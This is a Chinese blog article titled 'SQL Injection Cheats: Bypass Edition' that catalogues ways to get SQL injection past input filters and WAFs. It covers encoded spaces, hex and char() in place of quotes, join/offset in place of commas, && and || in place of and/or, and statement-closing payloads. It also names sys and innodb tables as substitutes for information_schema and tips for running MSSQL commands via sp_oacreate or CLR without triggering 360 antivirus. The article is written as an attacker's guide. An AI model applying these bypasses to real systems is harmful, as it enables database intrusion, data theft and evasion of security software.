SQL注入秘籍【绕过篇】

SQL注入秘籍【绕过篇】本文详细介绍了 SQL 注入攻击中常见的绕过方法 包括编码技巧 空格 引号 逗号 等号的替代方式 以及如何绕过 and or 逻辑 注释符过滤 特定函数检测和 information schema 限制

大家好,欢迎来到IT知识分享网。

1.通用方法

编码

编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码


2.绕过空格

空格被过滤的情况,可以用如下的一些手法:

  1. 使用注释符
select//user(); select/*hahaha*/user(); 
  1. URL编码空格

使用URL编码 + 编码空格

  1. 其他URL编码(换行、Tab等)
%0d、%0a、%09%0b、%a0 
  1. 使用括号

括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from(t_user); 
  1. and/or后面的空格需要绕过

如果是and/or后面的空格需要绕过的话,可以跟上奇或者偶数个!、~来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or前的空格可用省略

select * from user where username="test"and!!!1=1; select * from user where username="test"and~~~~1=1; select * from user where username="test"and~~!!!~~1=1; 

也可以用+、-来替代空格,and后有偶数个-即可,+的个数随意

select * from user where username="test"and------1=1; select * from user where username="test"and+++---+++---+++1=1; 

3.绕过引号

十六进制hex()

单/双引号被过滤,一般采用16进制绕过

例如:

-- 原语句 select table_name from information_schema.tables where table_schema='test'; -- 16进制后 select table_name from information_schema.tables where table_schema=0x; 

char()

除了上面的十六进制外,还可以用char函数连接起来

select table_name from information_schema.tables where table_schema='test'; -- char后 select table_name from information_schema.tables where table_schema=char(116,101,115,116); 

4.绕过逗号,

针对普通情况(使用join)

-- 原语句 select user(),database(); -- 绕过 select * from (select user())a join (select database())b; 

针对limit(使用offset)

-- 原语句 select * from t_user limit 1,1 -- 绕过 select * from t_user limit 1 offset 1; 

针对切割函数

-- 原语句 select substr(username,1,1) from t_user; -- 绕过 select substr(username from 1 for 1) from t_user; 

5.绕过等号=

过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过

在这里插入图片描述


6.绕过and/or

因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可

select 1 && 0; select 1 || 0; 

7.绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行

解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似

# 原始 ?id=1 # 完整闭合 ?id=1' and expr and '1'='1 

8.绕过函数检测

一些函数如ascii等被过滤,可以使用等价的函数进行绕过,如

在这里插入图片描述


9.绕过information_schema

1、利用mysql5.7新增的sys.schema_auto_increment_columns

这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名

2、sys.schema_table_statistics_with_buffer

这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息

3、mysql默认存储引擎innoDB携带的表

mysql.innodb_table_stats mysql.innodb_index_stats 

两表均有database_name和table_name字段,可以利用


10.MSSQL一开xp_cmdshell就被360杀

xp_cmdshell是直接使用cmd /c来执行命令的,会被360拦截,可以用sp_oacreate来执行一些读写功能,因为不调用cmd所以360不会拦截,前提是需要知道网站的根目录

另一种方法是使用CLR,MSSQL CLR 是一项功能,允许在 SQL Server 数据库上运行托管代码,包括 C# 和 Visual Basic

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/132365.html

(0)
上一篇 2025-07-31 21:33
下一篇 2025-07-31 21:45

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信